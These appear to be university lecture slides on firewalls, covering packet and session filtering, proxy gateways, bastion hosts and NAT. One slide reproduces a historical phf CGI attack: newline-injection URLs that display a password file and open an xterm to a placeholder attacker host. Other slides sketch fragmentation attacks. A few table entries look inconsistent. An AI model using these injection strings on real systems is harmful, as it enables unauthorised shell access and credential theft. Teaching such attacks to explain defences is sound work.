Firewalls

◆ Idea: separate local network from the Internet

- Trusted hosts and networks
- Intranet
- Firewall
- Router
- DMZ
- Demilitarized Zone: publicly accessible servers and networks
Castle and Moat Analogy

◆ More like the moat around a castle than a firewall
  • Restricts access from the outside (inbound traffic)
  • Restricts outbound connections TOO!

Firewall Locations in the Network

◆ Between internal and external network
◆ At gateways of sensitive sub-networks within corporate network
  • E.g., payroll or R&D nets must be protected separately within corporate network
◆ On end-user machines
  • E.g., “Personal firewall”, on MS Windows
Firewall Types

◆ Packet- or session-filtering router (filters)

◆ Proxy gateway
  - All incoming traffic directed to firewall, all outgoing traffic appears to come from firewall
  - Application-level: separate proxy for each application
    - Different proxies for SMTP, HTTP, FTP, etc.
    - Filtering rules are application-specific
  - Circuit-level: application-independent, “transparent”
    - Only generic IP traffic filtering (example: SOCKS)

◆ Personal firewall with application-specific rules
  - E.g., no outbound telnet connections from email client
Packet Filtering

◆ For each packet, firewall decides whether to allow it
  • Decision made on *per-packet* basis
    – Stateless; cannot examine packet’s context (TCP connection, application, etc.)
◆ Uses information available in packet
  • IP source and destination addresses, ports
  • Protocol identifier (TCP, UDP, ICMP, etc.)
  • TCP flags (SYN, ACK, RST, PSH, FIN)
  • ICMP message type
◆ Filtering rules are based on pattern-matching

Packet Filtering Examples

<table>
<thead>
<tr>
<th>A</th>
<th>action</th>
<th>src/host</th>
<th>port</th>
<th>dst/host</th>
<th>port</th>
<th>comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>block</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>we don’t want these people</td>
</tr>
<tr>
<td>allow</td>
<td>OUR-GW</td>
<td>25</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>connection to our SMTP port</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>B</th>
<th>action</th>
<th>src/host</th>
<th>port</th>
<th>dst/host</th>
<th>port</th>
<th>comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>block</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>default</td>
</tr>
<tr>
<td>allow</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>20</td>
<td>*</td>
<td>connection to their SMTP port</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>C</th>
<th>action</th>
<th>src</th>
<th>port</th>
<th>dst</th>
<th>port</th>
<th>flags</th>
<th>comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>allow</td>
<td>(our hosts)</td>
<td>*</td>
<td>*</td>
<td>25</td>
<td>*</td>
<td>*</td>
<td>our packets to their SMTP port</td>
</tr>
<tr>
<td>allow</td>
<td>*</td>
<td>25</td>
<td>*</td>
<td>*</td>
<td>ACK</td>
<td>their replies</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>D</th>
<th>action</th>
<th>src</th>
<th>port</th>
<th>dst</th>
<th>port</th>
<th>flags</th>
<th>comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>allow</td>
<td>(our hosts)</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>our incoming calls</td>
</tr>
<tr>
<td>allow</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>ACK</td>
<td>replies to our calls</td>
<td></td>
</tr>
<tr>
<td>allow</td>
<td>*</td>
<td>*</td>
<td>*</td>
<td>1034</td>
<td>*</td>
<td>public to announces</td>
<td></td>
</tr>
</tbody>
</table>
Example: FTP

FTP Packet Filter

The following filtering rules allow a user to FTP from any IP address to the FTP server at 172.168.10.12:

access-list 100 permit tcp any gt 1023 host 172.168.10.12 eq 21
access-list 100 permit tcp any gt 1023 host 172.168.10.12 eq 20
! Allows packets from any client to the FTP control and data ports
access-list 101 permit tcp host 172.168.10.12 eq 21 any gt 1023
access-list 101 permit tcp host 172.168.10.12 eq 20 any gt 1023
! Allows the FTP server to send packets back to any IP address with TCP ports > 1023

interface Ethernet 0
access-list 100 in ! Apply the first rule to inbound traffic
access-list 101 out ! Apply the second rule to outbound traffic

Anything not explicitly permitted by the access list is denied!
Weaknesses of Packet Filters

◆ Do not prevent application-specific attacks
  • For example, if there is a buffer overflow in FTP server, firewall will not block an attack string
◆ No user authentication mechanisms
  • ... except (spoofable) address-based authentication
  • Firewalls don’t have any upper-level functionality
  • WHY NOT?
◆ Vulnerable to TCP/IP attacks such as spoofing
  • Solution: list of addresses for each interface (packets with internal addresses shouldn’t come from outside)
◆ Security breaches due to mis-configuration

Abnormal Fragmentation

For example, ACK bit is set in both fragments, but when reassembled, SYN bit is set (can stage SYN flooding through firewall)
**Fragmentation Attack**

1. Send 2 fragments with the ACK bit set; fragment offsets are chosen so that the full datagram re-assembled by server forms a packet with the SYN bit set (the fragment offset of the second packet overlaps into the space of the first packet).

2. All following packets will have the ACK bit set.

**More Fragmentation Attacks**

- Split ICMP message into two fragments, the assembled message is too large
  - Buffer overflow, OS crash

- Fragment a URL or FTP “put” command
  - Firewall needs to understand application-specific commands to catch this

- Denial of service (e.g., chargen attacks)
  - “Character generation” debugging tool: connect to a certain port and receive a stream of data
  - If attacker fools it into connecting to itself, CPU locks
Stateless Filtering Is Not Enough

- In TCP connections, port #s <1024 are permanently assigned to servers
  - 20,21 for FTP, 23 for telnet, 25 for SMTP, 80 for HTTP...
- Clients use ports numbered from 1024 to 65535
  - Must be available for clients to receive responses
- What should a firewall do if it sees, say, an outgoing request to some client’s port 5151?
  - It MUST allow it: this could be a server’s response in a previously established connection...
  - OR it could be malicious traffic
  - Can’t tell without keeping state for each connection

Example: Variable Port Use

Inbound SMTP

Outbound SMTP
Session Filtering

◆ Decision is still made separately for each packet, but in the context of a connection
  • If new connection, then check against security policy
  • If existing connection, then look it up in the table and update the table, if necessary
    – Only allow incoming traffic to a high-numbered port if there is an established connection to that port
◆ Hard to filter stateless protocols (UDP) and ICMP
◆ Typical filter: deny everything that’s not allowed
  • Must be careful filtering out service traffic such as ICMP
◆ Filters can be bypassed with IP tunneling

Example: Connection State Table

<table>
<thead>
<tr>
<th>Source Address</th>
<th>Source Port</th>
<th>Destination Address</th>
<th>Destination Port</th>
<th>Connection State</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.1.100</td>
<td>1030</td>
<td>210.9.88.29</td>
<td>80</td>
<td>Established</td>
</tr>
<tr>
<td>192.168.1.102</td>
<td>1031</td>
<td>216.32.42.123</td>
<td>80</td>
<td>Established</td>
</tr>
<tr>
<td>192.168.1.101</td>
<td>1033</td>
<td>173.66.32.122</td>
<td>25</td>
<td>Established</td>
</tr>
<tr>
<td>192.168.1.106</td>
<td>1035</td>
<td>177.231.32.12</td>
<td>79</td>
<td>Established</td>
</tr>
<tr>
<td>223.43.21.231</td>
<td>1990</td>
<td>192.168.1.6</td>
<td>80</td>
<td>Established</td>
</tr>
<tr>
<td>219.22.123.32</td>
<td>2112</td>
<td>192.168.1.6</td>
<td>80</td>
<td>Established</td>
</tr>
<tr>
<td>210.99.212.18</td>
<td>3321</td>
<td>192.168.1.6</td>
<td>80</td>
<td>Established</td>
</tr>
<tr>
<td>24.102.32.23</td>
<td>1025</td>
<td>192.168.1.6</td>
<td>80</td>
<td>Established</td>
</tr>
<tr>
<td>223.212.212</td>
<td>1046</td>
<td>192.168.1.6</td>
<td>80</td>
<td>Established</td>
</tr>
</tbody>
</table>
Application-Level Gateway

◆ Splices and relays application-specific connections
◆ Need separate proxy for each application
  • Example: Web browser proxy
  • High overhead, but can log and audit all activity
◆ Can support user-to-gateway authentication
  • Log into the proxy server with username and password
◆ Simpler filtering rules (why?)

Circuit-Level Gateway

◆ Splices and relays two TCP connections
  • Does not examine contents of TCP segments;
  • Faster but less control than application-level gateway
◆ Client applications must be adapted for SOCKS
  • “Universal” interface to circuit-level gateways
◆ For lower overhead, application-level proxy on inbound, circuit-level on outbound (trusted users)
Comparison

<table>
<thead>
<tr>
<th></th>
<th>Performance</th>
<th>Modify client application</th>
<th>Defends against fragm. attacks</th>
</tr>
</thead>
<tbody>
<tr>
<td>Packet filter</td>
<td>Best</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Session filter</td>
<td>No</td>
<td>No</td>
<td>Maybe</td>
</tr>
<tr>
<td>Circuit-level gateway</td>
<td>Yes (SOCKS)</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Application-level gateway</td>
<td>Worst</td>
<td>Yes</td>
<td>Yes</td>
</tr>
</tbody>
</table>

Why Filter Outbound Connections?

- whitehouse.gov: inbound X connections blocked by firewall, but input sanitization in phonebook script doesn’t filter out 0x0a (newline)
  - http://www.whitehouse.gov/cgi-bin/phf?Qalias=x%0a/bin/
    - Displays password file
    - http://www.whitehouse.gov/cgi-bin/phf?Qalias=x%0a/usr/
      - X11R6/bin/xterm%20-ut%20-display%20attackers.ip.address:0.0
    - Opens outbound connection to attacker’s X server (permitted by firewall!)
- Then use buffer overflow in ufsrestore to get root

[From “The Art of Intrusion”]
Bastion Host

◆ **Bastion host** is a hardened system implementing application-level gateway behind packet filter
  - All non-essential services are turned off
  - Application-specific proxies for supported services
    - Each proxy supports only a subset of application's commands, is logged and audited, disk access restricted, runs as a non-privileged user in a separate directory (independent of others)
  - Support for user authentication

◆ All traffic flows through bastion host
  - Packet router allows external packets to enter only if their destination is bastion host, and internal packets to leave only if their origin is bastion host

---

Single-Homed Bastion Host

If packet filter is compromised, traffic can flow to internal network
Dual-Homed Bastion Host

No physical connection between internal and external networks

Screened Subnet

Only the screened subnet is visible to the external network; internal network is invisible
Protecting Addresses and Routes

◆ Hide IP addresses of hosts on internal network
  • Only services that are intended to be accessed from outside need to reveal their IP addresses
  • Keep other addresses secret to make spoofing harder
◆ Use NAT (network address translation) to map addresses in packet headers to internal addresses
  • 1-to-1 or N-to-1 mapping
◆ Filter route announcements
  • No need to advertise routes to internal hosts
  • Prevent attacker from advertising that the shortest route to an internal host lies through him

General Problems with Firewalls

◆ Interfere with networked applications
◆ Don’t solve some real problems
  • Buggy software (e.g., susceptible to buffer overflow exploits)
  • Bad protocol design (e.g., WEP in 802.11b)
◆ Generally don’t prevent denial of service
◆ Don’t prevent many types of insider attacks
◆ Increased complexity and potential for mis-configuration